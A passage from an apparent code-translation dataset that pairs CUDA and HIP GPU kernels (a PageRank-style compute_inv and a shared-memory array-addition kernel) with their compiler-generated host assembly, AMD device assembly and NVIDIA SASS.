pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC0(%rip), %rdx
movq %rdx, %rcx
leaq _Z11compute_invPKiS0_PKfiS2_Pf(%rip), %rsi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2054:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: |
You are a helpful coding assistant specialized in converting CUDA source code to HIP/AMD source code. | #include "includes.h"
__global__ void compute_inv(const int* destination_offsets, const int* source_indices, const float* out_degrees, const int node_count, const float* input, float *output)
{
int dest = blockDim.x*blockIdx.x + threadIdx.x;
if (dest<node_count)
{
int srcStart = destination_offsets[dest];
int srcEnd = destination_offsets[dest + 1];
int in_degree = srcEnd - srcStart;
float rank = 0;
if (in_degree>0)
{
for (int srcIdx = srcStart; srcIdx<srcEnd; ++srcIdx)
{
int src = source_indices[srcIdx];
float contrib = ((input[src] * DECAY) * out_degrees[src]);
rank = rank + contrib;
}
}
output[dest] = rank + (1 - DECAY);
}
} | #include <hip/hip_runtime.h>
#include "includes.h"
__global__ void compute_inv(const int* destination_offsets, const int* source_indices, const float* out_degrees, const int node_count, const float* input, float *output)
{
int dest = blockDim.x*blockIdx.x + threadIdx.x;
if (dest<node_count)
{
int srcStart = destination_offsets[dest];
int srcEnd = destination_offsets[dest + 1];
int in_degree = srcEnd - srcStart;
float rank = 0;
if (in_degree>0)
{
for (int srcIdx = srcStart; srcIdx<srcEnd; ++srcIdx)
{
int src = source_indices[srcIdx];
float contrib = ((input[src] * DECAY) * out_degrees[src]);
rank = rank + contrib;
}
}
output[dest] = rank + (1 - DECAY);
}
} |
You are a helpful coding assistant specialized in converting HIP source code to AMD device assembly. | #include <hip/hip_runtime.h>
#include "includes.h"
__global__ void compute_inv(const int* destination_offsets, const int* source_indices, const float* out_degrees, const int node_count, const float* input, float *output)
{
int dest = blockDim.x*blockIdx.x + threadIdx.x;
if (dest<node_count)
{
int srcStart = destination_offsets[dest];
int srcEnd = destination_offsets[dest + 1];
int in_degree = srcEnd - srcStart;
float rank = 0;
if (in_degree>0)
{
for (int srcIdx = srcStart; srcIdx<srcEnd; ++srcIdx)
{
int src = source_indices[srcIdx];
float contrib = ((input[src] * DECAY) * out_degrees[src]);
rank = rank + contrib;
}
}
output[dest] = rank + (1 - DECAY);
}
} | .text
.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
.protected _Z11compute_invPKiS0_PKfiS2_Pf
.globl _Z11compute_invPKiS0_PKfiS2_Pf
.p2align 8
.type _Z11compute_invPKiS0_PKfiS2_Pf,@function
_Z11compute_invPKiS0_PKfiS2_Pf:
s_clause 0x1
s_load_b32 s2, s[0:1], 0x3c
s_load_b32 s3, s[0:1], 0x18
s_waitcnt lgkmcnt(0)
s_and_b32 s2, s2, 0xffff
s_delay_alu instid0(SALU_CYCLE_1) | instskip(SKIP_1) | instid1(VALU_DEP_1)
v_mad_u64_u32 v[1:2], null, s15, s2, v[0:1]
s_mov_b32 s2, exec_lo
v_cmpx_gt_i32_e64 s3, v1
s_cbranch_execz .LBB0_6
s_load_b64 s[2:3], s[0:1], 0x0
v_ashrrev_i32_e32 v2, 31, v1
v_mov_b32_e32 v0, 0x3e199998
s_delay_alu instid0(VALU_DEP_2) | instskip(SKIP_1) | instid1(VALU_DEP_1)
v_lshlrev_b64 v[3:4], 2, v[1:2]
s_waitcnt lgkmcnt(0)
v_add_co_u32 v3, vcc_lo, s2, v3
s_delay_alu instid0(VALU_DEP_2)
v_add_co_ci_u32_e32 v4, vcc_lo, s3, v4, vcc_lo
s_mov_b32 s3, exec_lo
global_load_b64 v[3:4], v[3:4], off
s_waitcnt vmcnt(0)
v_cmpx_gt_i32_e64 v4, v3
s_cbranch_execz .LBB0_5
s_clause 0x1
s_load_b128 s[4:7], s[0:1], 0x8
s_load_b64 s[8:9], s[0:1], 0x20
v_ashrrev_i32_e32 v6, 31, v3
v_dual_mov_b32 v5, v3 :: v_dual_mov_b32 v0, 0
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_1)
v_lshlrev_b64 v[5:6], 2, v[5:6]
s_waitcnt lgkmcnt(0)
v_add_co_u32 v5, vcc_lo, s4, v5
s_delay_alu instid0(VALU_DEP_2)
v_add_co_ci_u32_e32 v6, vcc_lo, s5, v6, vcc_lo
s_mov_b32 s4, 0
.p2align 6
.LBB0_3:
global_load_b32 v7, v[5:6], off
s_waitcnt vmcnt(0)
v_ashrrev_i32_e32 v8, 31, v7
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_lshlrev_b64 v[7:8], 2, v[7:8]
v_add_co_u32 v9, vcc_lo, s8, v7
s_delay_alu instid0(VALU_DEP_2)
v_add_co_ci_u32_e32 v10, vcc_lo, s9, v8, vcc_lo
v_add_co_u32 v7, vcc_lo, s6, v7
v_add_co_ci_u32_e32 v8, vcc_lo, s7, v8, vcc_lo
v_add_co_u32 v5, vcc_lo, v5, 4
global_load_b32 v9, v[9:10], off
global_load_b32 v7, v[7:8], off
v_add_nc_u32_e32 v3, 1, v3
v_add_co_ci_u32_e32 v6, vcc_lo, 0, v6, vcc_lo
s_waitcnt vmcnt(1)
v_mul_f32_e32 v8, 0x3f59999a, v9
s_delay_alu instid0(VALU_DEP_3) | instskip(SKIP_1) | instid1(VALU_DEP_2)
v_cmp_ge_i32_e64 s2, v3, v4
s_waitcnt vmcnt(0)
v_fmac_f32_e32 v0, v8, v7
s_delay_alu instid0(VALU_DEP_2) | instskip(NEXT) | instid1(SALU_CYCLE_1)
s_or_b32 s4, s2, s4
s_and_not1_b32 exec_lo, exec_lo, s4
s_cbranch_execnz .LBB0_3
s_or_b32 exec_lo, exec_lo, s4
v_add_f32_e32 v0, 0x3e199998, v0
.LBB0_5:
s_or_b32 exec_lo, exec_lo, s3
s_load_b64 s[0:1], s[0:1], 0x28
v_lshlrev_b64 v[1:2], 2, v[1:2]
s_waitcnt lgkmcnt(0)
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_2)
v_add_co_u32 v1, vcc_lo, s0, v1
v_add_co_ci_u32_e32 v2, vcc_lo, s1, v2, vcc_lo
global_store_b32 v[1:2], v0, off
.LBB0_6:
s_nop 0
s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z11compute_invPKiS0_PKfiS2_Pf
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 304
.amdhsa_user_sgpr_count 15
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 1
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 0
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 0
.amdhsa_next_free_vgpr 11
.amdhsa_next_free_sgpr 16
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end0:
.size _Z11compute_invPKiS0_PKfiS2_Pf, .Lfunc_end0-_Z11compute_invPKiS0_PKfiS2_Pf
.section .AMDGPU.csdata,"",@progbits
.text
.p2alignl 7, 3214868480
.fill 96, 4, 3214868480
.type __hip_cuid_,@object
.section .bss,"aw",@nobits
.globl __hip_cuid_
__hip_cuid_:
.byte 0
.size __hip_cuid_, 1
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_
.amdgpu_metadata
---
amdhsa.kernels:
- .args:
- .address_space: global
.offset: 0
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 8
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 16
.size: 8
.value_kind: global_buffer
- .offset: 24
.size: 4
.value_kind: by_value
- .address_space: global
.offset: 32
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 40
.size: 8
.value_kind: global_buffer
- .offset: 48
.size: 4
.value_kind: hidden_block_count_x
- .offset: 52
.size: 4
.value_kind: hidden_block_count_y
- .offset: 56
.size: 4
.value_kind: hidden_block_count_z
- .offset: 60
.size: 2
.value_kind: hidden_group_size_x
- .offset: 62
.size: 2
.value_kind: hidden_group_size_y
- .offset: 64
.size: 2
.value_kind: hidden_group_size_z
- .offset: 66
.size: 2
.value_kind: hidden_remainder_x
- .offset: 68
.size: 2
.value_kind: hidden_remainder_y
- .offset: 70
.size: 2
.value_kind: hidden_remainder_z
- .offset: 88
.size: 8
.value_kind: hidden_global_offset_x
- .offset: 96
.size: 8
.value_kind: hidden_global_offset_y
- .offset: 104
.size: 8
.value_kind: hidden_global_offset_z
- .offset: 112
.size: 2
.value_kind: hidden_grid_dims
.group_segment_fixed_size: 0
.kernarg_segment_align: 8
.kernarg_segment_size: 304
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z11compute_invPKiS0_PKfiS2_Pf
.private_segment_fixed_size: 0
.sgpr_count: 18
.sgpr_spill_count: 0
.symbol: _Z11compute_invPKiS0_PKfiS2_Pf.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 11
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
amdhsa.target: amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
- 1
- 2
...
.end_amdgpu_metadata |
You are a helpful coding assistant specialized in converting HIP source code to AMD host assembly. | #include <hip/hip_runtime.h>
#include "includes.h"
__global__ void compute_inv(const int* destination_offsets, const int* source_indices, const float* out_degrees, const int node_count, const float* input, float *output)
{
int dest = blockDim.x*blockIdx.x + threadIdx.x;
if (dest<node_count)
{
int srcStart = destination_offsets[dest];
int srcEnd = destination_offsets[dest + 1];
int in_degree = srcEnd - srcStart;
float rank = 0;
if (in_degree>0)
{
for (int srcIdx = srcStart; srcIdx<srcEnd; ++srcIdx)
{
int src = source_indices[srcIdx];
float contrib = ((input[src] * DECAY) * out_degrees[src]);
rank = rank + contrib;
}
}
output[dest] = rank + (1 - DECAY);
}
} | .text
.file "compute_inv.hip"
.globl _Z26__device_stub__compute_invPKiS0_PKfiS2_Pf # -- Begin function _Z26__device_stub__compute_invPKiS0_PKfiS2_Pf
.p2align 4, 0x90
.type _Z26__device_stub__compute_invPKiS0_PKfiS2_Pf,@function
_Z26__device_stub__compute_invPKiS0_PKfiS2_Pf: # @_Z26__device_stub__compute_invPKiS0_PKfiS2_Pf
.cfi_startproc
# %bb.0:
subq $152, %rsp
.cfi_def_cfa_offset 160
movq %rdi, 88(%rsp)
movq %rsi, 80(%rsp)
movq %rdx, 72(%rsp)
movl %ecx, 4(%rsp)
movq %r8, 64(%rsp)
movq %r9, 56(%rsp)
leaq 88(%rsp), %rax
movq %rax, 96(%rsp)
leaq 80(%rsp), %rax
movq %rax, 104(%rsp)
leaq 72(%rsp), %rax
movq %rax, 112(%rsp)
leaq 4(%rsp), %rax
movq %rax, 120(%rsp)
leaq 64(%rsp), %rax
movq %rax, 128(%rsp)
leaq 56(%rsp), %rax
movq %rax, 136(%rsp)
leaq 40(%rsp), %rdi
leaq 24(%rsp), %rsi
leaq 16(%rsp), %rdx
leaq 8(%rsp), %rcx
callq __hipPopCallConfiguration
movq 40(%rsp), %rsi
movl 48(%rsp), %edx
movq 24(%rsp), %rcx
movl 32(%rsp), %r8d
leaq 96(%rsp), %r9
movl $_Z11compute_invPKiS0_PKfiS2_Pf, %edi
pushq 8(%rsp)
.cfi_adjust_cfa_offset 8
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $168, %rsp
.cfi_adjust_cfa_offset -168
retq
.Lfunc_end0:
.size _Z26__device_stub__compute_invPKiS0_PKfiS2_Pf, .Lfunc_end0-_Z26__device_stub__compute_invPKiS0_PKfiS2_Pf
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_ctor
.type __hip_module_ctor,@function
__hip_module_ctor: # @__hip_module_ctor
.cfi_startproc
# %bb.0:
subq $40, %rsp
.cfi_def_cfa_offset 48
cmpq $0, __hip_gpubin_handle(%rip)
jne .LBB1_2
# %bb.1:
movl $__hip_fatbin_wrapper, %edi
callq __hipRegisterFatBinary
movq %rax, __hip_gpubin_handle(%rip)
.LBB1_2:
movq __hip_gpubin_handle(%rip), %rdi
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z11compute_invPKiS0_PKfiS2_Pf, %esi
movl $.L__unnamed_1, %edx
movl $.L__unnamed_1, %ecx
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
movl $__hip_module_dtor, %edi
addq $40, %rsp
.cfi_def_cfa_offset 8
jmp atexit # TAILCALL
.Lfunc_end1:
.size __hip_module_ctor, .Lfunc_end1-__hip_module_ctor
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_dtor
.type __hip_module_dtor,@function
__hip_module_dtor: # @__hip_module_dtor
.cfi_startproc
# %bb.0:
movq __hip_gpubin_handle(%rip), %rdi
testq %rdi, %rdi
je .LBB2_2
# %bb.1:
pushq %rax
.cfi_def_cfa_offset 16
callq __hipUnregisterFatBinary
movq $0, __hip_gpubin_handle(%rip)
addq $8, %rsp
.cfi_def_cfa_offset 8
.LBB2_2:
retq
.Lfunc_end2:
.size __hip_module_dtor, .Lfunc_end2-__hip_module_dtor
.cfi_endproc
# -- End function
.type _Z11compute_invPKiS0_PKfiS2_Pf,@object # @_Z11compute_invPKiS0_PKfiS2_Pf
.section .rodata,"a",@progbits
.globl _Z11compute_invPKiS0_PKfiS2_Pf
.p2align 3, 0x0
_Z11compute_invPKiS0_PKfiS2_Pf:
.quad _Z26__device_stub__compute_invPKiS0_PKfiS2_Pf
.size _Z11compute_invPKiS0_PKfiS2_Pf, 8
.type .L__unnamed_1,@object # @0
.section .rodata.str1.1,"aMS",@progbits,1
.L__unnamed_1:
.asciz "_Z11compute_invPKiS0_PKfiS2_Pf"
.size .L__unnamed_1, 31
.type __hip_fatbin_wrapper,@object # @__hip_fatbin_wrapper
.section .hipFatBinSegment,"a",@progbits
.p2align 3, 0x0
__hip_fatbin_wrapper:
.long 1212764230 # 0x48495046
.long 1 # 0x1
.quad __hip_fatbin
.quad 0
.size __hip_fatbin_wrapper, 24
.type __hip_gpubin_handle,@object # @__hip_gpubin_handle
.local __hip_gpubin_handle
.comm __hip_gpubin_handle,8,8
.section .init_array,"aw",@init_array
.p2align 3, 0x0
.quad __hip_module_ctor
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym _Z26__device_stub__compute_invPKiS0_PKfiS2_Pf
.addrsig_sym __hip_module_ctor
.addrsig_sym __hip_module_dtor
.addrsig_sym _Z11compute_invPKiS0_PKfiS2_Pf
.addrsig_sym __hip_fatbin
.addrsig_sym __hip_fatbin_wrapper
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting from CUDA host assembly to AMD host assembly. | .file "tmpxft_00096f93_00000000-6_compute_inv.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2029:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2029:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.globl _Z44__device_stub__Z11compute_invPKiS0_PKfiS2_PfPKiS0_PKfiS2_Pf
.type _Z44__device_stub__Z11compute_invPKiS0_PKfiS2_PfPKiS0_PKfiS2_Pf, @function
_Z44__device_stub__Z11compute_invPKiS0_PKfiS2_PfPKiS0_PKfiS2_Pf:
.LFB2051:
.cfi_startproc
endbr64
subq $184, %rsp
.cfi_def_cfa_offset 192
movq %rdi, 40(%rsp)
movq %rsi, 32(%rsp)
movq %rdx, 24(%rsp)
movl %ecx, 20(%rsp)
movq %r8, 8(%rsp)
movq %r9, (%rsp)
movq %fs:40, %rax
movq %rax, 168(%rsp)
xorl %eax, %eax
leaq 40(%rsp), %rax
movq %rax, 112(%rsp)
leaq 32(%rsp), %rax
movq %rax, 120(%rsp)
leaq 24(%rsp), %rax
movq %rax, 128(%rsp)
leaq 20(%rsp), %rax
movq %rax, 136(%rsp)
leaq 8(%rsp), %rax
movq %rax, 144(%rsp)
movq %rsp, %rax
movq %rax, 152(%rsp)
movl $1, 64(%rsp)
movl $1, 68(%rsp)
movl $1, 72(%rsp)
movl $1, 76(%rsp)
movl $1, 80(%rsp)
movl $1, 84(%rsp)
leaq 56(%rsp), %rcx
leaq 48(%rsp), %rdx
leaq 76(%rsp), %rsi
leaq 64(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L7
.L3:
movq 168(%rsp), %rax
subq %fs:40, %rax
jne .L8
addq $184, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L7:
.cfi_restore_state
pushq 56(%rsp)
.cfi_def_cfa_offset 200
pushq 56(%rsp)
.cfi_def_cfa_offset 208
leaq 128(%rsp), %r9
movq 92(%rsp), %rcx
movl 100(%rsp), %r8d
movq 80(%rsp), %rsi
movl 88(%rsp), %edx
leaq _Z11compute_invPKiS0_PKfiS2_Pf(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 192
jmp .L3
.L8:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2051:
.size _Z44__device_stub__Z11compute_invPKiS0_PKfiS2_PfPKiS0_PKfiS2_Pf, .-_Z44__device_stub__Z11compute_invPKiS0_PKfiS2_PfPKiS0_PKfiS2_Pf
.globl _Z11compute_invPKiS0_PKfiS2_Pf
.type _Z11compute_invPKiS0_PKfiS2_Pf, @function
_Z11compute_invPKiS0_PKfiS2_Pf:
.LFB2052:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z44__device_stub__Z11compute_invPKiS0_PKfiS2_PfPKiS0_PKfiS2_Pf
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2052:
.size _Z11compute_invPKiS0_PKfiS2_Pf, .-_Z11compute_invPKiS0_PKfiS2_Pf
.section .rodata.str1.8,"aMS",@progbits,1
.align 8
.LC0:
.string "_Z11compute_invPKiS0_PKfiS2_Pf"
.text
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2054:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rdi
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC0(%rip), %rdx
movq %rdx, %rcx
leaq _Z11compute_invPKiS0_PKfiS2_Pf(%rip), %rsi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2054:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: | .text
.file "compute_inv.hip"
.globl _Z26__device_stub__compute_invPKiS0_PKfiS2_Pf # -- Begin function _Z26__device_stub__compute_invPKiS0_PKfiS2_Pf
.p2align 4, 0x90
.type _Z26__device_stub__compute_invPKiS0_PKfiS2_Pf,@function
_Z26__device_stub__compute_invPKiS0_PKfiS2_Pf: # @_Z26__device_stub__compute_invPKiS0_PKfiS2_Pf
.cfi_startproc
# %bb.0:
subq $152, %rsp
.cfi_def_cfa_offset 160
movq %rdi, 88(%rsp)
movq %rsi, 80(%rsp)
movq %rdx, 72(%rsp)
movl %ecx, 4(%rsp)
movq %r8, 64(%rsp)
movq %r9, 56(%rsp)
leaq 88(%rsp), %rax
movq %rax, 96(%rsp)
leaq 80(%rsp), %rax
movq %rax, 104(%rsp)
leaq 72(%rsp), %rax
movq %rax, 112(%rsp)
leaq 4(%rsp), %rax
movq %rax, 120(%rsp)
leaq 64(%rsp), %rax
movq %rax, 128(%rsp)
leaq 56(%rsp), %rax
movq %rax, 136(%rsp)
leaq 40(%rsp), %rdi
leaq 24(%rsp), %rsi
leaq 16(%rsp), %rdx
leaq 8(%rsp), %rcx
callq __hipPopCallConfiguration
movq 40(%rsp), %rsi
movl 48(%rsp), %edx
movq 24(%rsp), %rcx
movl 32(%rsp), %r8d
leaq 96(%rsp), %r9
movl $_Z11compute_invPKiS0_PKfiS2_Pf, %edi
pushq 8(%rsp)
.cfi_adjust_cfa_offset 8
pushq 24(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $168, %rsp
.cfi_adjust_cfa_offset -168
retq
.Lfunc_end0:
.size _Z26__device_stub__compute_invPKiS0_PKfiS2_Pf, .Lfunc_end0-_Z26__device_stub__compute_invPKiS0_PKfiS2_Pf
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_ctor
.type __hip_module_ctor,@function
__hip_module_ctor: # @__hip_module_ctor
.cfi_startproc
# %bb.0:
subq $40, %rsp
.cfi_def_cfa_offset 48
cmpq $0, __hip_gpubin_handle(%rip)
jne .LBB1_2
# %bb.1:
movl $__hip_fatbin_wrapper, %edi
callq __hipRegisterFatBinary
movq %rax, __hip_gpubin_handle(%rip)
.LBB1_2:
movq __hip_gpubin_handle(%rip), %rdi
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z11compute_invPKiS0_PKfiS2_Pf, %esi
movl $.L__unnamed_1, %edx
movl $.L__unnamed_1, %ecx
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
movl $__hip_module_dtor, %edi
addq $40, %rsp
.cfi_def_cfa_offset 8
jmp atexit # TAILCALL
.Lfunc_end1:
.size __hip_module_ctor, .Lfunc_end1-__hip_module_ctor
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_dtor
.type __hip_module_dtor,@function
__hip_module_dtor: # @__hip_module_dtor
.cfi_startproc
# %bb.0:
movq __hip_gpubin_handle(%rip), %rdi
testq %rdi, %rdi
je .LBB2_2
# %bb.1:
pushq %rax
.cfi_def_cfa_offset 16
callq __hipUnregisterFatBinary
movq $0, __hip_gpubin_handle(%rip)
addq $8, %rsp
.cfi_def_cfa_offset 8
.LBB2_2:
retq
.Lfunc_end2:
.size __hip_module_dtor, .Lfunc_end2-__hip_module_dtor
.cfi_endproc
# -- End function
.type _Z11compute_invPKiS0_PKfiS2_Pf,@object # @_Z11compute_invPKiS0_PKfiS2_Pf
.section .rodata,"a",@progbits
.globl _Z11compute_invPKiS0_PKfiS2_Pf
.p2align 3, 0x0
_Z11compute_invPKiS0_PKfiS2_Pf:
.quad _Z26__device_stub__compute_invPKiS0_PKfiS2_Pf
.size _Z11compute_invPKiS0_PKfiS2_Pf, 8
.type .L__unnamed_1,@object # @0
.section .rodata.str1.1,"aMS",@progbits,1
.L__unnamed_1:
.asciz "_Z11compute_invPKiS0_PKfiS2_Pf"
.size .L__unnamed_1, 31
.type __hip_fatbin_wrapper,@object # @__hip_fatbin_wrapper
.section .hipFatBinSegment,"a",@progbits
.p2align 3, 0x0
__hip_fatbin_wrapper:
.long 1212764230 # 0x48495046
.long 1 # 0x1
.quad __hip_fatbin
.quad 0
.size __hip_fatbin_wrapper, 24
.type __hip_gpubin_handle,@object # @__hip_gpubin_handle
.local __hip_gpubin_handle
.comm __hip_gpubin_handle,8,8
.section .init_array,"aw",@init_array
.p2align 3, 0x0
.quad __hip_module_ctor
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym _Z26__device_stub__compute_invPKiS0_PKfiS2_Pf
.addrsig_sym __hip_module_ctor
.addrsig_sym __hip_module_dtor
.addrsig_sym _Z11compute_invPKiS0_PKfiS2_Pf
.addrsig_sym __hip_fatbin
.addrsig_sym __hip_fatbin_wrapper
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting CUDA source code to CUDA device assembly. | #include "includes.h"
__global__ void addTwoArraysSharedDynamic(int *v1, int *v2, int *r, int n)
{
int tid = blockDim.x * blockIdx.x + threadIdx.x;
if (tid >= n)
{
return;
}
extern __shared__ int arrays[];
int *s_v1 = arrays;
int *s_v2 = &s_v1[n];
int *s_r = &s_v2[n];
s_v1[tid] = v1[tid];
s_v2[tid] = v2[tid];
s_r[tid] = s_v1[tid] + s_v2[tid];
r[tid] = s_r[tid];
} | code for sm_80
Function : _Z25addTwoArraysSharedDynamicPiS_S_i
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ MOV R1, c[0x0][0x28] ; /* 0x00000a0000017a02 */
/* 0x000fe40000000f00 */
/*0010*/ S2R R0, SR_CTAID.X ; /* 0x0000000000007919 */
/* 0x000e280000002500 */
/*0020*/ S2R R3, SR_TID.X ; /* 0x0000000000037919 */
/* 0x000e240000002100 */
/*0030*/ IMAD R0, R0, c[0x0][0x0], R3 ; /* 0x0000000000007a24 */
/* 0x001fca00078e0203 */
/*0040*/ ISETP.GE.AND P0, PT, R0, c[0x0][0x178], PT ; /* 0x00005e0000007a0c */
/* 0x000fda0003f06270 */
/*0050*/ @P0 EXIT ; /* 0x000000000000094d */
/* 0x000fea0003800000 */
/*0060*/ HFMA2.MMA R13, -RZ, RZ, 0, 2.384185791015625e-07 ; /* 0x00000004ff0d7435 */
/* 0x000fe200000001ff */
